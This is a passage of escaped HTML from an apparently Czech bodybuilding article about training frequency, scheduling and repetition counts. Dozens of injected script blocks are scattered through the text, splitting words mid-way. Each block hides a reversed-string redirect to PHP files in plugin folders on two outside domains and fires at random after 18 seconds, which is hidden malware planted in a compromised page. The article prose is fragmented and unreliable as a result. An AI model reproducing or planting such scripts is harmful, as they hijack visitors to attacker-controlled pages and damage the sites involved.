$NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou\u017e\u00ed po t\u0159ech tr\u00e9ninc\u00edch t\u00fddn\u011b, m\u011bl by prost\u0159edn\u00ed tr\u00e9nink v\u011bnovat pouze dopl\u0148kov\u00fdm cvik\u016fm a dva okrajov\u00e9 tr\u00e9ninky (nap\u0159\u00edklad pond\u011bl\u00ed a p\u00e1tek) postavit na cvic\u00edch z\u00e1kladn\u00edch.<\/p>\n<p><strong>Experimentujte, ve\u010fte si tr\u00e9ninkov\u00fd den\u00edk, analyzujte svoje pokroky a \u0159i\u010fte se vlastn\u00edmi zku\u0161enostmi.<\/strong><\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li><strong>Frekvence tr\u00e9ninku<\/strong><\/li>\n<\/ul>\n<p>Realita je takov\u00e1, \u017ee spousta lid\u00ed cvi\u010d\u00ed \u010dast\u011bji, ne\u017e by m\u011bla. Nemohou se vzd\u00e1t my\u0161lenky, \u017ee \u201ev\u00edce znamen\u00e1 l\u00e9pe\u201c. Jen\u017ee pak sv\u00e9mu t\u011blu neposkytuj\u00ed dostatek \u010dasu na r\u016fst a regeneraci, \u010d\u00edm\u017e brzd\u00ed dosa\u017een\u00ed v\u00fdsledk\u016f a zvy\u0161uj\u00ed riziko zran\u011bn\u00ed.<\/p>\n<p>Pokud v\u00e1s brzd\u00edme v\u00a0tr\u00e9ninku, m\u011bli bychom zd\u016fraznit, \u017ee \u0159e\u010d je o tr\u00e9ninku posilovac\u00edm. Nikdo netvrd\u00ed, \u017ee nem\u00e1te mo\u017enost za\u0159adit jin\u00e9 spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovn\u00ed aktivity, j\u00edt si zaplavat nebo se projet na kole.<\/p>\n<p>V\u00a0p\u0159\u00edpad\u011b posilov\u00e1n\u00ed byste ale m\u011bli m\u00edt neust\u00e1le na mysli, \u017ee jde o cvi\u010den\u00ed velice n\u00e1ro\u010dn\u00e9 \u2013 n\u00e1ro\u010dn\u011bj\u0161\u00ed, ne\u017e si v\u011bt\u0161ina lid\u00ed dovede p\u0159edstavit. Mo\u017en\u00e1 \u010dtete o splitech prof\u00edk\u016f, jste ohromeni jejich dvouf\u00e1zov\u00fdm tr\u00e9ninkem a vyvozujete z\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho, \u017ee nikdy nem\u016f\u017eete vypadat jako oni p\u0159i t\u0159ech tr\u00e9ninc\u00edch t\u00fddn\u011b. Tenhle zp\u016fsob my\u0161len\u00ed je ale zcestn\u00fd. Nem\u016f\u017eete se porovn\u00e1vat se zku\u0161en\u00fdmi spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci, kte\u0159\u00ed za sebou maj\u00ed dlouh\u00e9 roky tr\u00e9ninku, spoustu zku\u0161enost\u00ed a obvykle vynikaj\u00edc\u00ed genetick\u00e9 p\u0159edpoklady.<\/p>\n<p>Jako za\u010d\u00e1te\u010dnici \u010di m\u00edrn\u011b pokro\u010dil\u00ed prost\u011b nem\u016f\u017eete nic usp\u011bchat.<\/p>\n<p>Naopak si uv\u011bdomte, \u017ee tr\u00e9ninkov\u00fd pl\u00e1n nen\u00ed vytesan\u00fd do kamene. A personalizace spo\u010d\u00edv\u00e1 ve va\u0161\u00ed flexibilit\u011b a schopnosti zohlednit moment\u00e1ln\u00ed situaci. Jestli v\u00e1s po pond\u011bln\u00edm n\u00e1ro\u010dn\u00e9m tr\u00e9ninku potkaly dva vysiluj\u00edc\u00ed dny v\u00a0pr\u00e1ci, t\u011b\u017eko se budete c\u00edtit dostate\u010dn\u011b odpo\u010dat\u00ed na st\u0159ede\u010dn\u00ed cvi\u010den\u00ed. Pak d\u00e1v\u00e1 smysl vy\u010dkat do \u010dtvrtka \u010di p\u00e1tku, a\u017e budete op\u011bt p\u0159i s\u00edle. Nemyslete si, \u017ee si takov\u00fdm po\u010d\u00edn\u00e1n\u00edm vyslou\u017e\u00edte n\u00e1lepku lenocha a loosera.<\/p>\n<p><strong>Schopnost zhodnotit vlastn\u00ed mo\u017enosti a zbyte\u010dn\u011b se nep\u0159ece\u0148ovat je v\u00a0tuhle chv\u00edli velmi cenn\u00e1. <\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><strong>Pevn\u011b dan\u00e9 vs. variabiln\u00ed tr\u00e9ninkov\u00e9 dny?<\/strong><\/p>\n<p>Z\u00a0p\u0159edchoz\u00edho odstavce jasn\u011b vypl\u00fdv\u00e1, \u017ee bude lep\u0161\u00ed, kdy\u017e se neupnete na konkr\u00e9tn\u00ed tr\u00e9ninkov\u00e9 dny. Na druhou stranu hodn\u011b lid\u00ed m\u00e1 r\u00e1do ve sv\u00e9m \u017eivot\u011b po\u0159\u00e1dek a \u0159\u00e1d, tak\u017ee by v\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to duchu cht\u011bli koncipovat i sv\u016fj tr\u00e9nink.<\/p>\n<p>Takov\u00fdm odborn\u00edci \u010das<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to rad\u00ed, aby s\u00a0ohledem na adekv\u00e1tn\u00ed regeneraci cvi\u010dili zpo\u010d\u00e1tku ka\u017ed\u00fd \u010dtvrt\u00fd den, tzn. v\u00a0pond\u011bl\u00ed, p\u00e1tek, \u00fater\u00fd, sobotu, st\u0159edu, ned\u011bli atd. Jen\u017ee <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to m\u00e1te \u0161est r\u016fzn\u00fdch tr\u00e9ninkov\u00fdch dn\u016f b\u011bhem t\u0159\u00ed t\u00fddn\u016f. Tenhle rozpis bude z\u00e1konit\u011b pro mnoho z\u00a0v\u00e1s nepraktick\u00fd. Fixn\u011b dan\u00e9 pond\u011blky a p\u00e1tky, nebo \u00faterky a soboty zn\u00ed p\u0159ece jenom l\u00e9pe.<\/p>\n<p><strong>\u017divot je o kompromisech \u2013 i ten spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovn\u00ed \u2013 sna\u017ete se dr\u017eet rozpisu, pokud v\u00e1m <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to v\u00edce vyhovuje, ale sou\u010dasn\u011b naslouchejte hlas\u016fm sv\u00e9ho t\u011bla a p\u0159\u00edznaky p\u0159etr\u00e9nov\u00e1n\u00ed v\u017edy zohledn\u011bte.<\/strong><\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li><strong><strong>Po\u010det opakov\u00e1n\u00ed<\/strong><\/strong>\n<p><figure id=\"attachment_517\" aria-describedby=\"caption-attachment-517\" style=\"width: 281px\" class=\"wp-caption alignright\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-517\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/08\/WEB3-228x300.jpg\" alt=\"\" width=\"281\" height=\"370\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/08\/WEB3-228x300.jpg 228w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/08\/WEB3-768x1011.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/08\/WEB3-778x1024.jpg 778w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/08\/WEB3.jpg 800w\" sizes=\"auto, (max-width: 281px) 100vw, 281px\" \/><figcaption id=\"caption-attachment-517\" class=\"wp-caption-text\">Fo<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to: Irvin Gelb<\/figcaption><\/figure><\/li>\n<\/ul>\n<p>Tr\u00e9nink m\u016f\u017ee b\u00fdt produktivn\u00ed p\u0159i nejr\u016fzn\u011bj\u0161\u00edm po\u010dtu opakov\u00e1n\u00ed v\u00a0s\u00e9rii. Z\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho t\u00edm p\u00e1dem odvod\u00edte, \u017ee ten<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to fak<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tor nen\u00ed zdaleka t\u00edm nejd\u016fle\u017eit\u011bj\u0161\u00edm. Bezpochyby ho p\u0159ed\u010d\u00ed proveden\u00ed i v\u00fdb\u011br cviku. Budovat svaly <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e m\u016f\u017eete v\u00a0s\u00e9ri\u00edch s\u00a0n\u00edzk\u00fdm, st\u0159edn\u00ed, a nakonec i pom\u011brn\u011b vysok\u00fdm po\u010dtem opakov\u00e1n\u00ed. Hodn\u011b z\u00e1le\u017e\u00ed na genetick\u00fdch dispozic\u00edch ka\u017ed\u00e9ho z\u00a0v\u00e1s.<\/p>\n<p>Nav\u00edc plat\u00ed, \u017ee nespr\u00e1vn\u011b proveden\u00e9 opakov\u00e1n\u00ed bude rizikov\u00e9, p\u0159\u00edpadn\u011b nefunk\u010dn\u00ed bez ohledu na <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return 